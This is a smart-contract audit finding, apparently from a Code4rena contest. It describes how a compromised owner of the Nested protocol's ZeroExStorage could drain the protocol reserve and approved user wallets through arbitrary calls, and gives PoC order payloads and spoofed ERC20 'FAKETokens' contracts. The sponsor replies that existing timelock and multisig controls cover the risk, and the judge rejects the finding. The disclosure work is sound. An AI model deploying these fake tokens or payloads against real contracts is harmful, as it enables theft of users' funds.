[WP-H0] `Owner` of `ZeroExStorage` can drain all the funds from the protocol, and steal tokens from users' wallets

[code423n4]

Lines of code

https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L86-L103

Vulnerability details

[WP-H0] Owner of ZeroExStorage can drain all the funds from the protocol, and steal tokens from users' wallets

The current design/implementation allows the Owner of ZeroExStorage to execute arbitrary calls to any address by setting a new _swapTarget on ZeroExStorage, and calling:

NestedFactory#create() -> _submitInOrders() -> _submitOrder() -> callOperator() -> _operator.implementation.delegatecall() -> ZeroExOperator#performSwap() -> ExchangeHelpers.fillQuote() -> _swapTarget.call(_swapCallData).

This can be effectively used as a backdoor/attack vector for a malicious/compromised Owner of ZeroExStorage to steal all the funds not only from the protocol's holdings, but also from users' wallets.

https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L86-L103

function callOperator(
    INestedFactory.Order calldata _order,
    address _inputToken,
    address _outputToken
) internal returns (bool success, uint256[] memory amounts) {
    IOperatorResolver.Operator memory _operator = requireAndGetAddress(_order.operator);
    // Parameters are concatenated and padded to 32 bytes.
    // We are concatenating the selector + given params
    bytes memory data;
    (success, data) = _operator.implementation.delegatecall(bytes.concat(_operator.selector, _order.callData));

    if (success) {
        address[] memory tokens;
        (amounts, tokens) = abi.decode(data, (uint256[], address[]));
        require(tokens[0] == _outputToken, "OH: INVALID_OUTPUT_TOKEN");
        require(tokens[1] == _inputToken, "OH: INVALID_OUTPUT_TOKEN");
    }
}

https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/operators/ZeroEx/ZeroExOperator.sol#L21-L38

function performSwap(
    IERC20 sellToken,
    IERC20 buyToken,
    bytes calldata swapCallData
) external payable override returns (uint256[] memory amounts, address[] memory tokens) {
    amounts = new uint256[](2);
    tokens = new address[](2);
    uint256 buyBalanceBeforePurchase = buyToken.balanceOf(address(this));
    uint256 sellBalanceBeforePurchase = sellToken.balanceOf(address(this));

    bool success = ExchangeHelpers.fillQuote(sellToken, operatorStorage.swapTarget(), swapCallData);
    require(success, "ZEO: SWAP_FAILED");

    uint256 amountBought = buyToken.balanceOf(address(this)) - buyBalanceBeforePurchase;
    uint256 amountSold = sellBalanceBeforePurchase - sellToken.balanceOf(address(this));
    require(amountBought != 0, "ZeroExOperator::performSwap: amountBought cant be zero");
    require(amountSold != 0, "ZeroExOperator::performSwap: amountSold cant be zero");
    ...

The require statements at L36-37 won't effectively prevent the arbitrary code execution, as the attacker can use two FAKE tokens to bypass such restrictions. See appendix: FAKETokens.sol for details.

https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/libraries/ExchangeHelpers.sol#L14-L23

function fillQuote(
    IERC20 _sellToken,
    address _swapTarget,
    bytes memory _swapCallData
) internal returns (bool) {
    setMaxAllowance(_sellToken, _swapTarget);
    // solhint-disable-next-line avoid-low-level-calls
    (bool success, ) = _swapTarget.call(_swapCallData);
    return success;
}

PoC

Attack Vector A: Steal from users' wallets.

Given:

• Alice (the victim) has approved NestedFactory to spend WBTC;
• Alice has 100e8 WBTC in their wallet balance.

A malicious/compromised Owner of ZeroExStorage can do the following to steal tokens from users' wallets.

1. Call ZeroExStorage.sol#updatesSwapTarget() and set _swapTarget to WBTC;
2. NestedFactory.sol#create() with _originalTokenId = 0, and _batchedOrders =

[{
        "operator": ZeroEx,
        "token": FakeBuyToken,
        "callData": bytes.concat(_operator.selector, {
                "sellToken": FakeSellToken, // See appendix: `FAKETokens.sol`
                "buyToken": FakeBuyToken,
                "swapCallData": WBTC.transferFrom(
                        address Alice,
                        address Hacker,
                        uint256 100e8
                )
        })
}]

As a result, the 100e8 WBTC belongs to Alice is now stolen by the Hacker.

The steps above can be repeated for all tokens and users, effectively stealing all the token balances from all the wallets that approved NestedFactory up to the allowance limit, which usually is unlimited.

Attack Vector B: Steal funds from the protocol

Given:

• 1000e8 WBTC is stored in NestedReserve.

A malicious/compromised Owner of ZeroExStorage can do the following to steal funds from NestedReserve.

1. Call ZeroExStorage.sol#updatesSwapTarget() and set NestedReserve to WBTC;
2. NestedFactory.sol#create() with _originalTokenId = 0, and _batchedOrders =

[{
        "operator": ZeroEx,
        "token": FakeBuyToken,
        "callData": bytes.concat(_operator.selector, {
                "sellToken": FakeSellToken, // See appendix: `FAKETokens.sol`
                "buyToken": FakeBuyToken,
                "swapCallData": NestedReserve.transfer(
                        address Hacker,
                        address WBTC,
                        uint256 1000e8
                )
        })
}]

As a result, 1000e8 WBTC is stolen by the Hacker.

The steps above can be repeated for all tokens, effectively stealing all the funds in the protocol.

Recommendation

1. Consider not using NestedFactory to hold users' allowances;
2. Consider removing the delegatecall in callOperator() to eliminate the possibility of arbitrary calls as Factory.
3. Consider using a multi-sig for the Owner of ZeroExStorage;
4. updatesSwapTarget() should be timelocked;

Appendix

FAKETokens.sol

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

pragma solidity 0.8.4;

contract BuyToken is ERC20 {
    address WBTC = 0x...WBTC;
    address HACKER = 0x...HACKER;

    constructor() ERC20("FAKE BUY Token", "FBT") {}

    function balanceOf(address _address) public view override returns (uint256) {
        return IERC20(WBTC).balanceOf(HACKER);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _mint(recipient, amount);
        return true;
    }
}

contract SellToken is ERC20 {
    address WBTC = 0x...WBTC;
    address HACKER = 0x...HACKER;

    constructor() ERC20("FAKE SELL Token", "FST") {}

    function balanceOf(address _address) public view override returns (uint256) {
        return IERC20(WBTC).balanceOf(HACKER);
    }

    function mint(address to, uint256 amount) external  {
        _mint(to, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _mint(recipient, amount);
        return true;
    }

    function burn() external {
        _burn(address(this), balanceOf(address(this)));
    }
}

[maximebrugel]

Mentioned in the readme file :

Some functions of the protocol require admin rights (onlyOwner).

The contracts are owned by the [TimelockController] (https://docs.openzeppelin.com/contracts/4.x/api/governance#TimelockController) contract from OpenZeppelin, set with a >7-days delay. This ensures the community has time to review any changes made to the protocol.

The owner of the TimelockController is a three-party multisignature wallet.

During the next phase of the protocol, the ownership will be transferred to a fully decentralized DAO.

[harleythedogC4]

Agree with sponsor - two of the recommendations the warden described to fix this issue are already in place, so this issue is not valid.